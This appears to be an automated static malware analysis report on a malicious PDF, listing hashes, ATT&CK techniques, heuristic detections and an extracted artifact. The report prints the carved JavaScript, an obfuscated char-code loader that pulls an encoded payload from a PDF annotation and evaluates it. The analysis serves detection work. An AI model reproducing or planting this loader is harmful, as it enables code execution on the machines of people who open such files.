Malicious PDF — malware analysis report

Static analysis result for SHA-256 78caf3b20a4b9140…

MALICIOUS

PDF

12.2 KB
MD5: e9e4d262f961e21994e0e7f423446cfc SHA-1: 01c721b4c7a5ebf71c67d2e5e55ef46b4f082213 SHA-256: 78caf3b20a4b914020417c83d0927df84b7704b17a7970072d621e920f7e7416
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that is obfuscated using character code manipulation. The script, after deobfuscation, appears to be designed to download and execute a secondary payload from a remote source. The ML classifier and heuristic firings strongly indicate malicious intent, likely related to exploiting a PDF vulnerability for initial execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js
d2233358777d1aaed8efae57eefbdc7f0ddc83b20eb36c734bc8ee388da7c061		 pdf-javascript-stream PDF /JS object 5 at offset 0x107 1418 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,122,59,32,118,97,114,32,121,59,32,10,32,118,97,114,32,104,32,61,32,39,101,100,118,111,97,122,99,108,39,59,32,10,9,32,32,122,32,61,32,121,32,61,32,97,112,112,91,104,46,114,101,112,108,97,99,101,40,47,91,97,118,105,101,122,106,108,93,47,103,44,32,39,39,41,93,59,32,10,9,32,118,97,114,32,116,109,112,32,61,32,39,115,121,110,99,65,69,69,111,116,83,99,97,110,39,59,32,121,32,61,32,48,59,32,9,32,122,91,116,109,112,46,114,101,112,108,97,99,101,40,47,69,47,103,44,32,39,110,39,41,93,40,41,59,32,121,32,61,32,122,59,32,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,32,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,32,32,32,118,97,114,32,115,32,61,32,112,91,48,93,59,32,115,32,61,32,115,91,39,115,117,98,39,32,43,32,39,106,101,99,116,39,93,59,32,118,97,114,32,32,108,32,61,32,32,32,115,46,114,101,112,108,97,99,101,40,47,91,122,104,121,103,93,47,103,44,32,39,37,39,41,32,32,59,32,115,32,61,32,32,117,110,101,115,99,97,112,101,32,40,32,108,32,32,41,32,59,97,112,112,91,104,46,114,101,112,108,97,99,101,40,47,91,99,122,111,109,100,113,115,93,47,103,44,32,39,39,41,93,40,32,115,41,59,10,32,115,32,61,32,32,39,39,59,32,122,32,32,61,32,49,59"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }

Open this report in the interactive analyzer, or submit your own file for analysis.